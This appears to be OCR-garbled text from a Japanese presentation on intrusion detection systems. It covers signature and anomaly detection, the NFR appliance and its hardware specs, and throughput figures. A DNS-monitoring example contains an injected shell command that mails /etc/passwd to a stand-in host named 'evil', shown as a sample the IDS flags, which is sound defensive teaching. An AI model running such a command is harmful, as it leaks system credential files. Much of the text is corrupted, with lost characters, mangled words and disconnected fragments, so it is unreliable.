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IDS: Intrusion Detection System /

m IDS

u (misuse detection): signature
u (anomaly detection): profiling

m IDS
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e 1997
e NFR (Network Flight Recoder)
* http://www.nfr.com/ v
* VAR (Value Added Reseller) v
- full source code
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e 1998
e NS-M: I1J
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e OS:
e IDS
e CPU:
= HUB

4.4BSD PC Unix

NFR NID I11J Network Surveyor
Pentium 11l 1GHz

256MB

10/100 Ethernet x 2

SCSI 18G 30GB x 3 (RAID1+Hot Swap)
437mm, 45mm,  580mm (1U rack mount)

10Kg

250W
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SYN/ACK
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r 3 Buffer Overrun -

IDS DNS

LA =

LRI

DNS
Query: www.llJ.ad.jp
Answer: 202.232.2.13
DNS warning
Query: %%$%%$%$%%$%%$% | mail evil < /etc/passwd
Answer: | don't know
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1.5Mbps 300,000

10Mbps 300,000 550,000

100Mbps 1,000,000
1
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m IDS

full source code
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